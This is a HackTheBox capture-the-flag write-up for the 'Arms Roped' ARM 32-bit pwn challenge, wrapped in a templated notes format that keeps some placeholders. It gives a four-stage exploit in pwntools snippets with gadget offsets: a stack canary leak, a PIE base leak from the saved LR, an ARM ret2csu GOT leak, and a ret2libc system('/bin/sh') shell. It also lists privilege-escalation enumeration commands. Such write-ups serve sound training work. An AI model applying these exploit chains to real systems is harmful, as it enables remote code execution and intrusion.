Arms Roped
Arms Roped
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-04 | Status: Solved Techniques: arm_ret2csu, byte_by_byte_leak, canary_leak_partial_overwrite, libc_leak_via_got_puts, multi_stage_rop, pie_leak_saved_lr, ret2libc_system_binsh
Summary
Task: ARM 32-bit binary exploitation under QEMU user-mode with PIE, Canary, and NX enabled. Solution: Multi-stage ROP chain — leak canary via partial overwrite, leak PIE base from saved LR, use ARM ret2csu to leak libc via GOT, then ret2libc with system("/bin/sh").
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260304_hackthebox_arms_roped - Tags: arm32, aslr, canary_leak, got_leak, libc_csu_init, memcpy, pie_leak, pwn, qemu_user, ret2csu, ret2libc, rop, scanf_m, stack_overflow
- Indicators: ARM 32-bit ELF binary, qemu-arm user-mode emulation, memcpy into fixed stack buffer without bounds check, scanf %m with %n byte count, loop that reads and echoes back via puts
- Source:
20260304_hackthebox_arms_roped.md
Foothold
Vulnerability / Misconfiguration
- Arm_ret2csu
- Byte_by_byte_leak
- Canary_leak_partial_overwrite
- Libc_leak_via_got_puts
- Multi_stage_rop
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- arm_ret2csu
- byte_by_byte_leak
- canary_leak_partial_overwrite
- libc_leak_via_got_puts
- multi_stage_rop
- pie_leak_saved_lr
- ret2libc_system_binsh
- Tags: arm32, aslr, canary_leak, got_leak, libc_csu_init, memcpy, pie_leak, pwn, qemu_user, ret2csu, ret2libc, rop, scanf_m, stack_overflow
Original Writeup
<details><summary>Click to expand original content</summary>Description
ARM binary exploitation challenge running under QEMU user-mode emulation with a custom ASLR patch.
ARM 32-bit ELF binary (little-endian, EABI5), dynamically linked, not stripped. Runs via qemu-arm with a custom ASLR patch. Contains a string_storer() function that reads strings in a loop, copies them to a stack buffer, and outputs them back via puts().
Remote target: 154.57.164.72:31410.
Files: arms_roped (ARM ELF binary), libc.so.6 (ARM 32-bit libc), Dockerfile (socat + qemu-arm), patch.diff (QEMU ASLR patch), build_docker.sh.
Protections
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | Enabled |
| RELRO | Partial |
Infrastructure
socat tcp-l:1337,reuseaddr,fork EXEC:./qemu_arm -L /usr/arm-linux-gnueabihf/ ./arms_roped
QEMU user-mode typically doesn't support ASLR. The organizers added a custom patch (patch.diff) that randomizes addresses via srand(time(NULL)) — a weak entropy source, but this doesn't matter for exploitation since we obtain address leaks directly.
Analysis
Key Functions
main() (0x8dc)
Sets up stdout/stderr buffering via setvbuf, then calls string_storer().
string_storer() (0x790) — Vulnerable Function
Loop:
scanf("%m[^\n]%n", &tmp, &n)—%mallocates a heap buffer for input,%nwrites the number of bytes read to a global variablenmemcpy(stack_buf, tmp, n)— copiesnbytes to a 32-byte stack buffer without bounds checkingfree(tmp)— frees the heap buffermemcmp(stack_buf, "quit", 4)— if it starts with "quit", exit the loopputs(stack_buf)— otherwise outputs the buffer contents- Return to step 1
Stack Layout of string_storer()
fp-0x30: buffer[32] ← memcpy destination (32 bytes)
fp-0x10: stack canary ← 4 bytes
fp-0x0c: padding ← 4 bytes
fp-0x08: saved r4 ← 4 bytes
fp-0x04: saved fp ← 4 bytes
fp+0x00: saved lr ← 4 bytes (return address)
- Offset to canary: 32 bytes from buffer start
- Offset to saved lr: 48 bytes from buffer start
Key Addresses in Binary (offsets from PIE base)
| Symbol | Offset |
|---|---|
string_storer | 0x790 |
main | 0x8dc |
pop {r4, pc} | 0x774 |
pop {r4, fp, pc} | 0x8b8 |
__libc_csu_init epilogue: pop {r4,r5,r6,r7,r8,sb,sl,pc} | 0x9ec |
__libc_csu_init call gadget | 0x9cc |
mov r0, r3; sub sp, fp, 8; pop {r4, fp, pc} | 0x974 |
Key Addresses in libc (offsets)
| Symbol | Offset |
|---|---|
system | 0x2f511 |
/bin/sh | 0xdce0c |
puts | 0x49ba5 |
Vulnerability
Stack buffer overflow via memcpy without bounds checking.
scanf("%m[^\n]%n", &tmp, &n) reads an arbitrary number of bytes, and memcpy(stack_buf, tmp, n) copies them all into a 32-byte stack buffer. Since the function operates in a loop and outputs buffer contents via puts(), we can:
- Read data from the stack (canary, saved lr) through partial overwrite +
puts()output - Write arbitrary data over the canary, saved registers, and return address
The loop allows multiple read/write iterations, enabling multi-stage exploitation.
Exploitation
ARM ROP Specifics
Unlike x86, ARM has fundamental differences:
- Function arguments are passed via registers
r0-r3, not the stack - Return address is stored in the Link Register (
lr), not directly on the stack (but when calling subroutines,lris saved to the stack) - Gadgets have the form
pop {r0, ..., pc}instead ofpop rdi; ret - Specific gadgets are needed to load arguments into
r0
Stage 1: Stack Canary Leak
The canary is at offset 32 from the buffer start. The canary's LSB is always \x00 (null byte). puts() outputs the string until the first null byte.
Strategy: send 33 bytes (32 + 1), overwriting the null LSB of the canary. Now puts() will output the buffer contents + the remaining 3 bytes of the canary (until the next null byte).
# Send 33 bytes — overwrite canary LSB payload = b'A' * 33 io.sendline(payload) # Receive leak: 33 bytes padding + 3 bytes canary leak = io.recvline() canary_bytes = leak[33:36] canary = u32(b'\x00' + canary_bytes) # LSB = 0x00
Stage 2: PIE Base Leak (Saved LR)
Saved LR is at offset 48 from the buffer start. LR = PIE_base + 0x948 (address of the instruction after bl string_storer in main). Since PIE base is page-aligned, the LR's LSB is known: 0x48.
Strategy: byte-by-byte leak. Send 49, 50, 51 bytes, each time overwriting one additional byte of saved LR and reading the next via puts().
# Byte 0 of saved LR is known: 0x48
# Leak bytes 1, 2, 3:
for i in range(3):
offset = 49 + i # 49, 50, 51
payload = b'A' * 32 + p32(canary) + b'B' * 12 + b'C' * (4 + i + 1)
io.sendline(payload)
leak = io.recvline()
lr_byte = leak[offset]
pie_base = (lr_leaked - 0x948) & 0xfffff000
Important: with each leak, the canary must be restored to the correct value, otherwise the function will crash during verification.
Stage 3: Libc Leak via ROP (ret2csu)
Using the ARM variant of the ret2csu technique (__libc_csu_init gadgets) to call puts@plt(GOT_puts):
Gadget 1 (0x9ec) — register loading:
pop {r4, r5, r6, r7, r8, sb, sl, pc}
Gadget 2 (0x9cc) — function call:
ldr r3, [r5] ; loads function pointer from [r5]
mov r0, r7 ; first argument = r7
mov r1, r8 ; second argument = r8
mov r2, sb ; third argument = sb
blx r3 ; call function
...
cmp r4, sl ; counter check
bne loop ; if r4 != sl, repeat
pop {r4, r5, r6, r7, r8, sb, sl, pc} ; epilogue
Chain:
rop = p32(canary) # restore canary
rop += b'B' * 12 # padding (saved padding + r4 + fp)
# Gadget 1: pop {r4, r5, r6, r7, r8, sb, sl, pc}
rop += p32(pie + 0x9ec) # pc → gadget 1
# Registers for calling puts(GOT_puts):
rop += p32(0) # r4 = 0 (counter)
rop += p32(pie + GOT_puts_ptr) # r5 → address in GOT containing puts@plt
rop += p32(0) # r6 (unused)
rop += p32(pie + GOT_puts) # r7 = GOT_puts → r0 (argument for puts)
rop += p32(0) # r8
rop += p32(0) # sb
rop += p32(1) # sl = 1 (so r4+1 == sl, exit loop)
rop += p32(pie + 0x9cc) # pc → gadget 2 (call gadget)
# After call — epilogue pop {r4,r5,r6,r7,r8,sb,sl,pc}:
rop += p32(0) * 7 # r4-sl (placeholders)
rop += p32(pie + string_storer) # pc → return to string_storer for Stage 4
Result: puts() outputs the runtime address of puts from GOT → calculate libc base:
puts_leak = u32(io.recv(4)) libc_base = puts_leak - 0x49ba5
Stage 4: Shell via system("/bin/sh")
With known libc base, use a gadget from libc:
# libc has gadget: pop {r0, r4, pc}
pop_r0_r4_pc = libc_base + <offset>
payload = b'A' * 32
payload += p32(canary)
payload += b'B' * 12
payload += p32(pop_r0_r4_pc) # pc → pop {r0, r4, pc}
payload += p32(libc_base + 0xdce0c) # r0 = "/bin/sh"
payload += p32(0) # r4 (doesn't matter)
payload += p32(libc_base + 0x2f511) # pc = system()
Send the payload, then "quit" to exit the string_storer() loop → function returns → ROP chain triggers → system("/bin/sh") → shell!
io.sendline(payload)
io.recvline()
io.sendline(b'quit')
io.interactive()
# cat flag.txt → HTB{REDACTED}
Full Exploitation Scheme
┌─────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├─────────────────────────────────────────────────────┤
│ │
│ Stage 1: Canary Leak │
│ ├─ Send 33 bytes (overflow 1 byte into canary) │
│ ├─ puts() leaks 3 remaining canary bytes │
│ └─ Reconstruct: canary = \x00 + leaked[0:3] │
│ │
│ Stage 2: PIE Leak (saved LR) │
│ ├─ LR byte 0 = 0x48 (known, page-aligned base) │
│ ├─ Send 49 bytes → leak LR byte 1 │
│ ├─ Send 50 bytes → leak LR byte 2 │
│ ├─ Send 51 bytes → leak LR byte 3 │
│ └─ PIE base = (LR - 0x948) & 0xfffff000 │
│ │
│ Stage 3: Libc Leak (ret2csu) │
│ ├─ ROP: pop regs → call puts(GOT_puts) │
│ ├─ Leak runtime puts address │
│ ├─ libc_base = puts_leak - 0x49ba5 │
│ └─ Return to string_storer for Stage 4 │
│ │
│ Stage 4: Shell (ret2libc) │
│ ├─ ROP: pop {r0, r4, pc} │
│ ├─ r0 = &"/bin/sh", pc = system() │
│ ├─ Send "quit" to trigger return │
│ └─ system("/bin/sh") → interactive shell │
│ │
└─────────────────────────────────────────────────────┘
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR